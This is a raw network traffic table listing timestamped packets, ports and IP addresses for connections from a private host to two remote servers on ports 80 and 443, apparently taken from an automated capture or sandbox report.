Nov 18, 2024 23:04:15.953826904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953836918 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953856945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953869104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953882933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953902006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953913927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953936100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953947067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953969955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953989983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954001904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954001904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954036951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954045057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954070091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954085112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954102993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954113007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954137087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954149008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954169989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954180956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954204082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954221010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954236984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954252005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954281092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954499006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954533100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954555035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954565048 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954565048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954600096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954612017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954632998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954643011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954667091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954677105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954701900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.954715014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.954745054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.990631104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990659952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990674973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990761042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990771055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990780115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990789890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.990808964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.990860939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991031885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991097927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991228104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991261005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991282940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991292953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991305113 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991339922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991345882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991400957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991422892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991455078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991477013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991487980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991501093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991520882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991545916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991554022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991565943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991586924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991612911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991621017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991646051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991668940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.991800070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.991854906 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995727062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995754957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995784998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995791912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995798111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995839119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995842934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995874882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995891094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995908022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995919943 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995942116 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.995951891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.995982885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.996011972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.996040106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.996064901 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.996084929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020363092 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020416021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020451069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020483017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020515919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020548105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020554066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020581007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020591021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020617008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020665884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020682096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020714045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020733118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020747900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020762920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020782948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020802021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020818949 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.020837069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020859957 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.020982027 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021035910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021037102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021070957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021080971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021104097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021115065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021137953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021147966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021171093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021199942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021203995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021233082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021246910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021248102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021281004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021296978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021313906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021327972 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021347046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021362066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021375895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021394014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021409988 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021414995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021449089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021456003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021483898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021490097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021517992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021526098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021559000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.021765947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.021823883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.022770882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022833109 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.022835970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022874117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022885084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.022910118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022912979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.022944927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022957087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.022981882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.022993088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023020029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023029089 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023061991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023566961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023603916 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023618937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023638010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023652077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023683071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023849964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023885012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023897886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023917913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.023927927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.023962021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.024133921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.024167061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.024182081 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.024213076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.024219036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.024264097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.024358034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.024391890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.024409056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.024435043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.039480925 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.039622068 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.039738894 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.039966106 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.039983034 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.040013075 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.040023088 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.042782068 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.042815924 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.042892933 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.043051958 CET	49839	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.043067932 CET	443	49839	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045576096 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045650005 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045720100 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.045775890 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045814037 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045875072 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.045914888 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.045949936 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.045974970 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.045989990 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.048166990 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.048206091 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.048294067 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.048474073 CET	49840	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:16.048492908 CET	443	49840	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:16.063513994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063529015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063553095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063568115 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063584089 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063615084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063646078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063662052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063671112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063694000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063724995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063734055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063750029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063765049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063771963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063781977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063792944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063798904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063818932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063849926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063946962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063961029 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063977003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.063987970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.063988924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064009905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064049006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064057112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064068079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064084053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064095974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064100981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064127922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064152002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064296961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064351082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064351082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064395905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.064460039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064472914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.064510107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066602945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066657066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066659927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066705942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066708088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066756010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066761017 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066797018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066812038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066832066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066843033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066868067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066880941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066936970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066937923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.066971064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.066992044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067006111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067018986 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067039013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067054033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067090988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067091942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067126036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067140102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067159891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067172050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067193031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067214012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067245960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067245960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067284107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067293882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067332983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067646980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067698956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067703009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067733049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067744970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067766905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067785025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067804098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067812920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067857027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067857981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067908049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067912102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.067962885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.067965984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068000078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068016052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068046093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068056107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068089008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068104982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068121910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068135023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068166971 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068171978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068171978 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068200111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068213940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068234921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068245888 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068268061 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068281889 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068303108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068314075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068332911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068348885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068381071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068433046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068466902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068486929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068506002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068512917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068552971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068613052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068646908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068661928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068681002 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068692923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068716049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068732023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:16.068752050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:16.068762064 CET	49794	80	192.168.2.4	31.41.244.11
